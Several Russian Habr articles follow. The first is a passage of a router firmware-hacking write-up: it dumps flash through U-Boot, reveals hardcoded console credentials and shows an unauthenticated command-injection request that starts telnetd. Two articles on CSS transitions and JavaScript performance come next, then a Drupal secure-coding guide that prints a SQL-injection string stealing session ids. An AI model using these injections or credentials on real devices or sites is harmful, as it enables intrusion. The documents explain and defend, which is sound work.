br0: Dropping NETIF_F_UFO since no NETIF_F_HW_CSUM feature.
device eth1 entered promiscuous mode
time: 9628 ms
usb 2-1: new full speed USB device using pegasus-ohci and address 2
usb 2-1: device descriptor read/64, error -62
usb 2-1: Product: Qualcomm CDMA Technologies MSM
usb 2-1: Manufacturer: Qualcomm, Incorporated
usb 2-1: configuration #1 chosen from 1 choice
cdc_acm 2-1:1.0: ttyACM0: USB ACM device
br0: port 1(eth1) entering learning state
udhcpd (v0.9.9) started
Unable to open /etc/config/udhcpd.leases for reading
Unable to open /etc/config/udhcpd.assigned for reading
br0: topology change detected, propagating
br0: port 1(eth1) entering forwarding state
=>ATcommand Start 3
>>>Send : AT$ROUTERBOOTDONE
>>>Read : AT$ROUTERBOOTDONE=OK
command count 0
>>>Send : AT$TIME
>>>Read : AT$TIME=19800106000024
>>>Send : AT$PINSTAT
>>>Send : AT$TIME
Sun Jan 6 00:00:24 UTC 1980
command count 0
>>>Read : AT$DRC=0
cdmainfo.r_drc Null Rate
>>>Read : AT$RF=007d,007d
cdmainfo.r_rf = Rx1 007d
cdmainfo.r_rf = Rx2 007d
>>>Read : AT$CALLSTAT=0,0
cdmainfo.r_callstat = 1x Offline
cdmainfo.r_callstat = EVDO Inactive
>>>Read : AT$PINSTAT=NOCARD
pinstat 3
command count 0
>>>Read : AT$TIME=19800106000024
command count 0
>>>Read : AT$EVDOINFO=0,0,0,0,0,-31,0,0,0
>>>Read : AT$CDMAINFO=0,0,0,0,0,0,0,-31,0,0,9,9
rmmod: nf_nat_dnsproxy: Unknown error -1074267480
create_sysconf_linux_module
>>>Send : AT$DRC=OK
>>>Send : AT$RF=OK
>>>Send : AT$CALLSTAT=OK
>>>Send : AT$EVDOINFO=OK
Sysinit done
>>>Send : AT$CDMAINFO=OK
login: >>>Read : AT$BOOTDONE
>>>Send : AT$BOOTDONE=OK
>>>Read : AT$RUIMREADDONE=NOCARD
pinstat 3
>>>Send : AT$RUIMREADDONE=OK
```
И вот мы попали в консоль, но система после загрузки просит авторизоваться и всякие там стандартные явки-пароли принимать наотрез отказывается, а загрузчик u-boot оказался собранным без возможности остановить загрузку и поуправлять ей. Путь последовательной консоли был для меня закрыт и я ушёл дальше… ну это, не считая дурацких попыток подбора пароля скриптом для minicom'а, которые были обречены на получение результата чуть позже, чем тот супер-компьютер скажет своё «42».
#### JTAG
Моё счастье, что все контакты JTAG-интерфейса чипа оказались крайними и были доступны для «прозвона» с использованием иглы:
[](https://habrastorage.org/web/781/cd1/8db/781cd18dbe0a408c872cbcdc608e0197.png)
Контакты JTAG на плате:
[](https://habrastorage.org/web/1c5/51d/05c/1c551d05c1784cd695dff583a20979a4.png)
Однако собранный на коленке переходник из DB25-папы для LPT-порта, сопротивлений и соплей показал, что JTAG либо отключен, либо у кого-то кривые руки. Для второго варианта на небезызвестной торговой площадке поднебесной был заказан фабричный JTAG-переходник, но это долго. А в первом случае следует попробовать ввести SoC в какой-то тестовый режим с помощью игл, провода и тестовых точек, уходящих к ножкам TESTEN и TESTEN1.
#### Озарение
Но в этот момент в моей памяти всплыл старый хак, применяемый для принудительной прошивки всякого железа: вогнать железку в режим «сломанной прошивки», закорачивая ножки адреса на флешке с прошивкой. На нашей плате прошивка находится в микросхеме (Samsung K8P3215UQB [www.bdtic.com/DataSheet/SAMSUNG/K8P3215UQB.pdf](http://www.bdtic.com/DataSheet/SAMSUNG/K8P3215UQB.pdf)) под экраном рядом с процом.
[](https://habrastorage.org/web/e37/f5d/fc7/e37f5dfc7bfc4cd29be5cefec0cbdd36.png)
Первые ножки данной микросхемы — это линии адреса и, закорачивая их, мы сможем нарушить вычитывание прошивки:
[](https://habrastorage.org/web/281/c1d/3e8/281c1d3e872843ffa01955efac117ced.png)
Так как нам хотелось бы попасть в меню u-boot'а, то шалить мы будем сразу после его загрузки в момент вычитывания остальной прошивки. Включаем роутер и после многозначительного моргания светодиодами и вывода на консоль текста:
```
U-Boot 1.1.4 (November 6, 2008)
DRAM: 64 MB
Flash: 4 MB
In: serial
Out: serial
Err: serial
```
начинаем ласково коротить 1-2-3-4 ноги флешки отвёрткой, добиваясь заветного:
```
Bad Header Checksum
ks8692pb >
```
Ну вот мы и добились расположения от несговорчивого загрузчика.
#### Загрузчик
Давайте посмотрим, что умеет этот ветеран:
**ks8692pb > help**
? — alias for 'help'
autoscr — run script from memory
base — print or set address offset
bdinfo — print Board Info structure
boot — boot default, i.e., run 'bootcmd'
bootd — boot default, i.e., run 'bootcmd'
bootm — boot application image from memory
bootp — boot image via network using BootP/TFTP protocol
cmp — memory compare
coninfo — print console devices and information
cp — memory copy
cp — memory copy
crc32 — checksum calculation
dhcp — invoke DHCP client to obtain IP/boot params
echo — echo args to console
erase — erase FLASH memory
fatinfo — print information about filesystem
fatload — load binary file from a dos filesystem
fatls — list files in a directory (default /)
flinfo — print FLASH memory information
go — start application at address 'addr'
help — print online help
icrc32 — checksum calculation
iloop — infinite loop on address range
imd — i2c memory display
iminfo — print header information for application image
imls — list all images found in flash
imm — i2c memory modify (auto-incrementing)
imw — memory write (fill)
inm — memory modify (constant address)
iprobe — probe to discover valid I2C chip addresses
isf — i2s transmit waveform data file from memory address
isr — i2s receive waveform data to the memory address
isw — i2s transmit waveform data from memory address
itest — return true/false on integer compare
loadb — load binary file over serial line (kermit mode)
loads — load S-Record file over serial line
loady — load binary file over serial line (ymodem mode)
loop — infinite loop on address range
md — memory display
mdior register — read mdio register
mdiow register data — write mdio register
mii — MII utility commands
mm — memory modify (auto-incrementing)
mmcinit — init mmc card
mnand — copy to nand boot
mr — memory read and compare
mtest — simple RAM test
mw — memory write (fill)
nettest — network port load test
nfs — boot image via network using NFS protocol
nm — memory modify (constant address)
pci — list and access PCI Configuration Space
ping — send ICMP ECHO\_REQUEST to network host
printenv- print environment variables
protect — enable or disable FLASH write protection
rarpboot- boot image via network using RARP/TFTP protocol
reset — Perform RESET of the CPU
run — run commands in an environment variable
saveenv — save environment variables to persistent storage
setenv — set environment variables
sleep — delay execution for some time
sspi — SPI utility commands
tftpboot- boot image via network using TFTP protocol
usb — USB sub-system
usbboot — boot from USB device
version — print monitor version
wait — wait for memory
Выглядит многообещающе, но на поверку оказывается, что часть команд не работает, не смотря на упоминание в help'е. В первую очередь хотелось бы знать как устроена адресация флешки:
**ks8692pb > flinfo**
```
Bank # 1: CFI conformant FLASH (16 x 16) Size: 4 MB in 78 Sectors
Erase timeout 8192 ms, write timeout 1 ms, buffer write timeout 1 ms, buffer size 1
Sector Start Addresses:
1C000000 (RO) 1C002000 (RO) 1C004000 (RO) 1C006000 (RO) 1C008000 (RO)
1C00A000 (RO) 1C00C000 (RO) 1C00E000 (RO) 1C010000 (RO) 1C020000 (RO)
1C030000 (RO) 1C040000 1C050000 1C060000 1C070000
1C080000 1C090000 1C0A0000 1C0B0000 1C0C0000
1C0D0000 1C0E0000 1C0F0000 1C100000 1C110000
1C120000 1C130000 1C140000 1C150000 1C160000
1C170000 1C180000 1C190000 1C1A0000 1C1B0000
1C1C0000 1C1D0000 1C1E0000 1C1F0000 1C200000
1C210000 1C220000 1C230000 1C240000 1C250000
1C260000 1C270000 1C280000 1C290000 1C2A0000
1C2B0000 1C2C0000 1C2D0000 1C2E0000 1C2F0000
1C300000 1C310000 1C320000 1C330000 1C340000
1C350000 1C360000 1C370000 1C380000 1C390000
1C3A0000 1C3B0000 1C3C0000 1C3D0000 1C3E0000
1C3F0000 1C3F2000 1C3F4000 1C3F6000 1C3F8000
1C3FA000 1C3FC000 1C3FE000
```
Области помеченные "(RO)" — это сам загрузчик. Трогать его пока совсем не тянет, так что пробегаем мимо него и останавливаем свой взгляд на остальных диапазонах.
Долгие и мучительные попытки сдампить содержимое флешки в нормальном виде закончились ВНЕЗАПНО перезаписанным после рестарта проца флешем. Оказалось, что при каких-то неизвестных условиях загрузчик после закачки через tftp файла отправлял процессор в резет, после которого на флешке автоматически начиналось стирание диапазона, где лежат образа ядра и ramdisk'а, а на их место начинает записываться загруженное. В моём случае это был наспех собранный образ OpenWRT от Micrel'я для данной платформы, который к боевой прошивке имеет такое же отношение как сантехник к балетмейстеру. Пытался то я его загрузить в память, но вышеописанная особенность загрузчика привела к записи этого бреда во флеш. Спасло то, что во первых не затёрся загрузчик, а во вторых у меня рядом лежала такая же боевая железка. В последствии дамп с боевой был водружён на подбитый тестовый экземпляр, но тогда было совсем не до смеха и кирпичи валились на пол непрерывным потоком, пока я пытался взять себя в руки.
Т.к. загрузчик никуда не делся, а на месте прошивки было не пойми что, прерванное на полпути во время записи, процедура немного «облегчилась»: теперь не нужно было ласкать отвёрткой ноги флешки, чтоб выйти на «Bad Header Checksum».
На еле дышащем полутрупе был найден единственный способ сдампить флешку — это команда md (memory display), которая выводит указанный участок памяти прямо в консоль в виде шестнадцатиричного текста:
**ks8692pb > md 0x1c040000**
```
1c040000: 56190527 8e2b9359 cd32444b d0f23200 '..VY.+.KD2..2..
1c040010: 00800000 00800000 6a1878c2 00040205 .........x.j....
1c040020: 6e72654b 522d6c65 69646d61 492d6b73 Kernel-Ramdisk-I
1c040030: 6567616d 00000000 00000000 00000000 mage............
1c040040: 748f1800 50631a00 00000000 e1a00000 ...t..cP........
1c040050: e1a00000 e1a00000 e1a00000 e1a00000 ................
1c040060: e1a00000 e1a00000 e1a00000 ea000002 ................
1c040070: 016f2818 00000000 00188f74 e1a07001 .(o.....t....p..
1c040080: e1a08002 e10f2000 e3120003 1a000001 ..... ..........
1c040090: e3a00017 ef123456 e10f2000 e38220c0 ....V4... ... ..
1c0400a0: e121f002 00000000 00000000 e28f00d0 ..!.............
1c0400b0: e890307e e0500001 0a00000a e0855000 ~0....P......P..
1c0400c0: e0866000 e08cc000 e0822000 e0833000 .`....... ...0..
1c0400d0: e08dd000 e5961000 e0811000 e4861004 ................
1c0400e0: e156000c 3afffffa e3a00000 e4820004 ..V....:........
1c0400f0: e4820004 e4820004 e4820004 e1520003 ..............R.
```
*«Маловато будет!»
Оказывается кроме стартового адреса нужно ещё указывать второй параметр — размер.*
#### Дамп
Для того, чтоб всё нажитое непосильным трудом не скрылось вместе с консолью minicom'а начинаем запись вывода в файл: нажимаем «Ctrl+a l» и подтверждаем имя файла, например стандартный «minicom.cap».
Нам нужен дамп области с 0x1c040000 по 0x1c3fffff (см. вывод flinfo). Получается блок размером 0x3c0000, но размер команда md (memory display) принимает не в байтах, а в 32-битных (4-байтовых) словах, таким образом нужное нам значение получается делением 0x3c0000 на 4 и равно 0xf0000. Вот что получается в итоге:
```
ks8692pb > md 1c040000 f0000
```
Уходим пить чай/кофе/со скуки, так как процедура вывода 3932160 байт в текстовом шестнадцатиричном виде в последовательную консоль — это печаль. После завершения процедуры слива нужно закрыть minicom (Ctrl+a x).
Копируем выхлоп minidump'а в файл с более осмысленным названием
```
$ cp ~/minicom.cap ./dump.hex
```
Придётся в него заглянуть и убрать лишние строки, которые были введены/выведены в minicom'е. В моём случае это одна строка в начале:
```
ks8692pb > md 1c040000 f0000
```
и одна в конце файла:
```
ks8692pb >
```
Конвертируем из текста в бинарные данные:
```
$ xxd -r -s-0x1c040000 dump.hex > dump.raw.bin
```
Смещение в -0x1c040000 необходимо, чтоб в итоговый файл не были записаны данные из диапазона 0x00000000-0x1c03ffff, которые xxd иначе посчитает пропавшими без вести и учтиво запишет в файл.
Выяснилось, что порядок байт в получившемся бинарнике не тот и пришлось искать решение как бы развернуть каждую четвёрку байт (32-битное слово). На просторах интернета быстро было найдено решение:
```
cat dump.raw.bin | perl -e 'while (sysread(STDIN,$d,4)){print pack("N",unpack("V",$d));}' > dump.bin
```
#### Вскрытие
Давайте посмотрим, что же у нас внутри дампа:
**$ binwalk dump.bin**
```
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x59932B8E, created: 2010-01-06 06:50:53, image size: 3338960 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xC278186A, OS: Linux, CPU: ARM, image type: Multi-File Image, compression type: none, image name: "Kernel-Ramdisk-Image"
14476 0x388C gzip compressed data, maximum compression, from Unix, last modified: 2010-01-05 04:49:24
1609664 0x188FC0 gzip compressed data, has original file name: "ramdisk.img", from Unix, last modified: 2010-01-06 06:50:44
```
Интересно что, не смотря на маркировку на плате «2009-10-15», заводская прошивка имеет метку январь 2010 года. Видимо что-то «пошло не так» и готовую партия допиливали на ходу. Хорошо, что софт, а не железо… навесным монтажом.
Разделим нажитое на отдельные части:
заголовок
```
$ dd if=dump.bin of=uImageHeader ibs=1 count=14476
```
ядро (размер 1595188=1609664-14476)
```
$ dd if=dump.bin of=zImage ibs=1 skip=14476 count=1595188
```
образ ramdisk'а:
```
$ dd if=dump.bin of=initrd.gz ibs=1 skip=1609664 & gunzip initrd.gz
```
В последствии после редактирования ramdisk'а можно будет собрать всё обратно в одно целое командами:
```
$ cat uImageHeader > out.bin
$ cat zImage >> out.bin
$ gzip initrd & cat initrd.gz >> out.bin
```
Теперь нужно выяснить, что за файловая система используется:
```
$ sudo blkid -o value -s TYPE ./initrd
ext2
```
И примонтировать её куда нибудь для жестоких экспериментов:
```
$ mkdir rootfs
$ sudo mount -o loop -t ext2 ./initrd ./rootfs/
```
После недолгого изучения ФС находим:
```
$ sudo cat rootfs/etc/inittab
::sysinit:/etc/rc
::respawn:/bin/lgc_login
```
Первое, что приходит в голову — это «чего же тут захардкодили?»:
**$ sudo strings rootfs/bin/lgc\_login**
```
/lib/ld-uClibc.so.0
liblgc.so
_DYNAMIC
__dso_handle
_init
_fini
_GLOBAL_OFFSET_TABLE_
printf
fgets
strlen
libc.so.0
stdout
getpass
fflush
abort
stdin
signal
execlp
__uClibc_main
strcmp
exit
__data_start
_edata
__bss_start
__bss_start__
_end
__bss_end__
__end__
login:
password:
admin
.admin.
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
GCC: (GNU) 2.95.4 20010319 (prerelease)
GCC: (GNU) 2.95.4 20010319 (prerelease)
GCC: (GNU) 2.95.4 20010319 (prerelease)
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
.shstrtab
.interp
.note.ABI-tag
.hash
.dynsym
.dynstr
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.data
.dynamic
.ctors
.dtors
.got
.sbss
.bss
.comment
```
Ну здесь то уж достаточно иметь глаза, чтоб разглядеть пару логин/пароль «admin/.admin.» намертво зашитую в коде. Не стану томить — авторизация в последовательной консоли с этими данными прошла успешно.
После более детального изучения ФС выяснилось, что можно запустить команду, вообще никак не авторизуясь, например telnetd:
```
$ wget --post-data "cmd_key=%24telnetd%3b" "http://192.168.200.1/goform/ping_showpopup"
```
Он запустится, начнёт принимать подключения… но, к сожалению, не сможет нас авторизовать. Но это уже совсем другая история.
Спасибо ув. [Nomad1](https://habr.com/ru/users/nomad1/) за пинок под мой ленивый зад, добрым людям, предоставившим полумёртный образец для нечеловеческих экспериментов, моей жене и дочерям за терпение, а моему пятилетнему сыну за помощь в перезагрузки роутера и запуске команд на компьютере, когда у папы заканчивались конечности. | https://habr.com/ru/post/336942/ | null | ru | null |
# CSS3 сейчас — transition
CSS3 и HTML5 развиваются всё быстрее и быстрее, браузеры начинают поддерживать всё больше новых фишек и плюшек. В связи с этим, мне хотелось бы заглянуть в наш будущий рай верстальщиков и сделать цикл обзорных статей по новым плюшкам и фишкам этих технологий.
В этом цикле мне хотелось бы рассмотреть такие свойства CSS3, как **transition**, **animate**, **opacity** и модель **rgba()**.
Использование CSS3.
-------------------
Часто можно услышать от многих веб-дизайнеров слова «Я уже не могу дождаться, когда же можно будет использовать CSS3...». А между тем, использовать его можно уже сегодня. Да, использование CSS3 для критичных моментов сайта сейчас невозможно. Но использовать его для добавления мелких, некритичных для проекта деталей вполне реально, можно и нужно.
Пример: На вашем сайте прекрасно смотрится изменение цвета ссылки в меню при наведении мышкой. Цвет изменяется резко, без плавного перехода, но это никак не влияет на общий вид сайта, его юзабилити. Зато присутствие плавного перехода цвета может послужить именно той маленькой деталькой, которая добавит вашему сайту немного «жизни».
В данной статье мы рассмотрим CSS-свойство transition.
Все примеры приведены для движка webkit. Чуть ниже мы рассмотрим кроссбраузерность этих методов.
Transition
----------
W3C даёт следующее определение transitions:
> CSS Transitions allow property changes in CSS values to occur
>
> smoothly over a specified duration.
>
>
>
> CSS Transitions позволяют назначать изменения свойств CSS плавно и в течение некоторого времени.
Давайте начнем с самого простого примера — добавим плавный переход фона ссылки.
Классическая реализация:
```
a.foo {
padding: 5px 10px;
background: #69f;
color: #000;
}
a.foo:hover {
background: #33f;
color: #fff;
}
```
При наведении мышки на ссылку фон поменяет свой цвет со светло-синего на тёмно-синий, а цвет шрифта — с черного на белый. Обычная ситуация.
Теперь добавим плавную смену фона, используя CSS transitions:
```
a.foo {
padding: 5px 10px;
background: #69f;
color: #000;
-webkit-transition-property: background;
-webkit-transition-duration: 0.5s;
-webkit-transition-timing-function: ease;
}
a.foo:hover {
background: #33f;
color: #fff;
}
```
Теперь наш фон плавно меняет цвет в течение полусекунды! Как и с прочими свойствами CSS, мы можем объединить все transition-свойства в одно:
```
a.foo {
padding: 5px 10px;
background: #69f;
color: #000;
-webkit-transition: background 0.5s ease;
}
a.foo:hover {
background: #33f;
color: #fff;
}
```
Теперь добавим плавное изменение цвета шрифта:
```
a.foo {
padding: 5px 10px;
background: #69f;
color: #000;
-webkit-transition: background 0.5s ease, color 0.3s ease;
}
a.foo:hover {
background: #33f;
color: #fff;
}
```
Данный код при наведении мышки будет плавно менять цвет фона в течение полусекунды и цвет шрифта в течение 0.3 секунд. Если же нам нужны одинаковые свойства для всех элементов, мы можем заменить
```
-webkit-transition: background 0.5s ease;
-webkit-transition: color 0.3s ease;
```
на
```
-webkit-transition: all 0.5s ease;
```
Теперь Transition-эффект будет применяться ко всем изменяющимся при событии свойстам и с одинаковыми параметрами — 0.5 секунд, ease-эффект.
Так же, мы можем добавить задержку для эффекта:
```
a.foo {
padding: 5px 10px;
background: #69f;
color: #000;
-webkit-transition: all 0.5s ease;
-webkit-transition-delay: 0.5s;
}
a.foo:hover {
background: #33f;
color: #fff;
}
```
Теперь наша анимация будет работать через полсекунды после наведения мышки.
Применять свойство transition можно к чему угодно — фону, цвету, длине, размеру шрифта и т.д. В основном это свойства, задающие цвет или свойства, которые могут быть выражены в единицах длины (px, em, ex) или в процентах. В качестве события мы так же можем использовать псевдоклассы :focus и :active. Вообще — использовать transition можно с любыми селекторами.
Итоговая сводная таблица:
| | | |
| --- | --- | --- |
| transition-property | Свойство, к которому применяем анимацию | Практически любое свойство CSS: color, background, width, font-size и т.д. |
| transition-duration | Длительность анимации | Время в секундах: 0.5s — полсекунды, 60s — одна минута и т.д. |
| transition-timing-function | Временная функция, используемая для анимации | ease, linear, ease-in-out, ease-in, ease-out, cubic-bezier |
| transition-delay | Задержка анимации | Время в секундах: 0.5s — полсекунды, 60s — одна минута и т.д. |
Браузеры
--------
Chrome, Safari, Opera 10.5+, Firefox 4+
*В тексте статьи использовались правила с префиксом только для WebKit-браузеров. Не забывайте добавлять в ваших проектах префиксы вендоров -moz- и -o-. На страничке-примере можно подсмотреть кроссбраузерный код (без IE, само собой).*
Если статья найдет своих заинтересованных читателей, в следующем посте мы рассмотрим keyframe-анимацию, свойство opacity и модель rgba(). Спасибо за внимание!
P.S. Спасибо [lahmatiy](http://habrahabr.ru/users/lahmatiy/) за поправки в комментариях. | https://habr.com/ru/post/111658/ | null | ru | null |
# Тонкости Javascript/Node.js. Увеличиваем производительность в десятки раз
#### Вступление
Появилась необходимость обмениваться сообщениями между сервером и клиентом в бинарном виде, но в формате JSON в конечном итоге. Начал я гуглить, какие существуют библиотеки упаковки в бинарный вид. Пересмотрел немало: MesssagePack, Bson, protobuf, capnproto.org и другие. Но эти все библиотеки позволяют паковать и распаковывать готовые бинарные пакеты. Не очень копался, возможно ли делать парсер входящего трафика по кускам. Но суть не в этом. С такой задачей никогда не сталкивался и решил поиграться с нодой и сделать свой. Куда же без костылей и велосипедов? И вот с какими особенностями Node.js я столкнулся…
Написал я пакер и запустил…
```
var start = Date.now();
for (i=0; i < 1000000; i++) {
packer.pack({abc: 123, cde: 5});
}
console.log(Date.now() - start);
```
**Выдал ~4300**. Удивился… Почему так долго? В то время, как код:
```
var start = Date.now();
for (i=0; i < 1000000; i++) {
JSON.stringify({abc: 123, cde: 5});
}
console.log(Date.now() - start);
```
**Выдал ~350**. Не понял. Начал копать свой код и искать, где же много ресурсов используется. И нашел.
Запустим этот код:
```
function find(val){
function index (value) {
return [1,2,3].indexOf(value);
}
return index(val);
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
find(2);
}
console.log(Date.now() - start);
```
**Выдает 1908**. Вы скажете: да это не много на 1000000 повторений. А если я скажу, что много? Выполним такой код:
```
function index (value) {
return [1,2,3].indexOf(value);
}
function find(val){
return index(val);
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
find(2);
}
console.log(Date.now() - start);
```
**Выдает 16**. Мои коллеги тоже возмутились, но и заметили, что функция же создается динамически и сразу уничтожается, ты ее вынес и нет такой нагрузки. Из эксперимента вывод: **динамические фунции не кешируюся в бинарном виде.** Я согласился и возразил: да, но нет ни переменных в SCOPE ничего используемого внутри нее. Похоже, движок гугла всегда копирует SCOPE.
Ок. Провел оптимизацию этой фунциональности и запустил… и все равно. Выдал ~3000. Опять удивился. И снова полез копать… и обнаружил уже другой прикол.
Запустим этот код:
```
function test (object) {
var a = 1,
b = [],
c = 0
return {
abc: function (val) {
}
}
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
var a = test();
a.abc();
}
console.log(Date.now() - start);
```
**Выдал 34.** Теперь, допустим, нам надо внутри *abc* создать *Array*:
```
function test (object) {
var a = 1,
b = [],
c = 0
return {
abc: function () {
var arr1 = [];
}
}
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
var a = test();
a.abc();
}
console.log(Date.now() - start);
```
**Выдал 1826**. Смеркалось… А если нам надо 3 массива?
```
function test (object) {
var a = 1,
b = [],
c = 0
return {
abc: function () {
var arr1 = [], arr2 = [], arr3 = [];
}
}
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
var a = test();
a.abc();
}
console.log(Date.now() - start);
```
**Выдал 5302!** Вот это приколы. Казалось, SCOPE мы не используем, а создание пустого массива должно занимать вообще копейки. Не тут то было.
Думаю… А заменю-ка я на объекты. Результат получше, но не намного. **Выдал 1071**.
А теперь фокус. Многие скажут: ты же опять выносишь функцию. Да. Но фокус в другом.
```
function abc () {
var arr1 = [], arr2 = [], arr3 = [];
}
function test (object) {
var a = 1,
b = [],
c = 0
return {
abc: abc
}
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
var a = test();
a.abc();
}
console.log(Date.now() - start);
```
Многие заметят и скажут: будет такое же время. А не тут то было. **Выдал 25**. Хотя массивы создавались столько же раз. Делаем вывод: **создание массивов в динамической функции тратит много ресурсов**. Вопрос: почему?
Теперь вернемся к первой проблеме. Но с другой стороны. Вынесем *Array*:
```
var indexes = [1,2,3];
function find(val){
function index (value) {
return indexes.indexOf(value);
}
return index(val);
}
var start = Date.now();
for (i=0; i < 1000000; i++) {
find(2);
}
console.log(Date.now() - start);
```
И я был прав. **Выдал 58. С выносом всей фунции выдавал 16**. Т.е. создание функции не особо ресурсоемкий процесс. Также опровергаем прошлый вывод:
> бинарный код функций все же кешируется в памяти. А создание объектов в динамической функции занимает много времени.
>
>
Я раньше предполагал по-другому: все static/expression объекты, создаваемые временно, компилируются сразу как код функции. А, оказывается, нет. Делаем вывод:
> движок гугла при каждом запуске создает новые объекты и заполняет необходимыми значениями, а потом уже вычисляет выражение, что не хорошо.
>
>
А с какими тонкостями сталкивались вы? Комментарии приветствуются. | https://habr.com/ru/post/277823/ | null | ru | null |
# Безопасный код в Друпале: Работа с базой данных
(ч1. [Подделка межсайтовых запросов](http://habrahabr.ru/blogs/drupal/52132/); ч3. [Работа с пользовательским вводом](http://habrahabr.ru/blogs/drupal/56291/))
Друпал предоставляет свои собственные средства для доступа к базе данных.
Во-первых, это позволяет не зависеть от используемого типа СУБД. К слову, на сегодняшний момент, полностью функционирует прослойка для MySQL и PostgreeSQL. В седьмом Друпале этот список будет расширен Ораклом и SQLite.
Во-вторых же, прослойка БД позволяет защититься от SQL инъекций.
Самая первая функция, о которой следует узнать при работе с базой — [db\_query()](http://api.drupal.ru/api/function/db_query).
Начну, пожалуй, с примера, в стиле которого пишут почти все начинающие друпаллеры:
> `/\*\*
>
> \* Пример 1 - небезопасный
>
> \* Пример должен отобразить список заголовков нод типа $type (например, поступающего из поля формы)
>
> \*/
>
> $result = db\_query("SELECT nid, title FROM node WHERE type = '$type'");
>
>
>
> $items = array();
>
> while ($row = db\_fetch\_object($result)) {
>
> $items[] = l($row->title, "node/{$row->nid}");
>
> }
>
> return theme('item\_list', $items);`
В этом примере сразу несколько вещей в корне неправильны.
Псевдонимы названий таблиц
--------------------------
Название таблиц следует заключать в фигурные скобки, а также присваивать им псевдонимы, которые рекомендуется всегда использовать при обращении к колонкам. Измененный вызов будет выглядеть так:
> `$result = db\_query("SELECT n.nid, n.title FROM {node} n WHERE n.type = '$type'");`
Что нам это даст? Это обеспечит простоту обработки таблиц с префиксами. То есть, если у вас все таблицы в базе называются «pr\_node», «pr\_users» и т.д., Друпал автоматически будет подставлять корректные префиксы к таблицам, заключенным в скобки. Указание псевдонимов при этом избавит от надобности использовать фигурные скобки больше одного раза.
Фильтрация аргументов
---------------------
Отсутствует фильтрация аргументов запроса. Это прямой путь к SQL инъекции. Если в `$type` окажется значение `story' UNION SELECT s.sid, s.sid FROM {sessions} s WHERE s.uid = 1/*`, то весь запрос будет уже таким:
> `SELECT n.nid, n.title FROM {node} n WHERE n.type = 'story' UNION SELECT s.sid, s.sid FROM {sessions} s WHERE s.uid = 1/\*'`
что позволит мошеннику завладеть айдишниками сессий, и в свою очередь, при создании корректной куки сессии, получить прямой админский доступ к сайту.
Защититься от этого довольно просто, используя параметризацию запроса. При формировании запроса, Друпал использует синтаксис функции [sprintf](http://www.php.net/manual/en/function.sprintf.php). В строке запроса вставляются заглушки, которые заменяются параметрами, которые идут отдельно. При этом параметры проходят проверку и экранирование, так что вы можете забыть об инъекциях, используя данный подход. Вот некоторые примеры:
> `db\_query("SELECT n.nid FROM {node} n WHERE n.nid > %d", $nid);
>
> db\_query("SELECT n.nid FROM {node} n WHERE n.type = '%s'", $type);
>
> db\_query("SELECT n.nid FROM {node} n WHERE n.nid > %d AND n.type = '%s'", $nid, $type);
>
> db\_query("SELECT n.nid FROM {node} n WHERE n.type = '%s' AND n.nid > %d", $type, $nid);`
Список заменителей:
* %d — для целых чисел (integers)
* %f — для чисел с плавающей запятой, т.е. дробных (floats)
* %s — для строк (однако, обратите внимание, что в запросе, вокруг строки выставляются кавычки)
* %b — двоичные данные (не нужно оборачивать в кавычки)
* %% — заменяется на % (например, для `LIKE %monkey%`)
Для конструкций `IN (... , ... , ...)`, используйте функцию [db\_placeholders()](http://api.drupal.ru/api/function/db_placeholders), которая создаст нужную последовательность заменителей, по заданному массиву параметров, например:
> `$nids = array(1, 5, 449);
>
> db\_query('SELECT \* FROM {node} n WHERE n.nid IN ('. db\_placeholders($nids) .')', $nids);`
> Если вы используете модуль Devel, у вас есть очень простой способ получения конечных запросов для отладочных целей. Просто вызовите функцию `db_queryd()` с точно такими же параметрами, как вы вызываете `db_query()`.
Теперь, наш запрос будет выглядеть так:
> `$result = db\_query("SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s'", $type);`
Ранжирование результатов запроса
--------------------------------
Наш пример на большом сайте выведет большущий список нодов. Что если нам можно ограничиться всего первым десятком? Первым позывом будет использовать SQL конструкцию LIMIT, например
> `SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s' LIMIT 0, 10`
и вроде бы все хорошо, но на Postgree SQL этот код приведет к ошибке, так как с этим сервером управления, вам нужно использовать конструкцию `OFFSET 0 LIMIT 10`. А еще на каком-нибудь Оракле, синтаксис опять другой. Что же делать?
Ответ — использовать [db\_query\_range()](http://api.drupal.ru/api/function/db_query_range) для лимитирования количества результатов запроса. Его использование аналогично db\_query, за исключением того, что в после всех аргументов, вам нужно указать два параметра — номер первой строки, и количество результатов. Наш запрос преобразится в следующее:
> `// выведет первых 10 результатов
>
> $result = db\_query\_range("SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s'", $type, 0, 10);`
И на последок, если вам ко всему еще нужен постраничный вывод, используйте функцию [pager\_query()](http://api.drupal.ru/api/function/pager_query/6). Она отличается от `db_query_range()` наличием всего одного необязательного параметра, о котором вы можете почитать на странице документации. С этой функцией вывод листалки страниц прост как дважды два:
> `/\*\*
>
> \* Пример 2 - безопасный, с листалкой
>
> \*/
>
> // изменяем сам запрос
>
> $result = pager\_query("SELECT n.nid, n.title FROM {node} n WHERE n.type = '%s'", $type, 0, 10);
>
>
>
> $items = array();
>
> while ($row = db\_fetch\_object($result)) {
>
> $items[] = l($row->title, "node/{$row->nid}");
>
> }
>
>
>
> $output = theme('item\_list', $items);
>
>
>
> // добавляем листалку
>
> $output .= theme('pager');
>
>
>
> return $output;`
Как видите, всего две строчки изменений. Всю рутину по подхватыванию текущей страницы, обработке и т.д. полностью берет на себя Друпал.
Возможность изменения запроса модулями
--------------------------------------
Довольно часто имеет смысл предоставить другим модулям возможность повлиять на ваш запрос. В Друпале это реализуется связкой функции [db\_rewrite\_sql()](http://api.drupal.ru/api/function/db_rewrite_sql), и реализациями хука [hook\_db\_rewrite\_sql()](http://api.drupal.ru/api/function/hook_db_rewrite_sql) в модулях. Наш запрос будет выглядеть так:
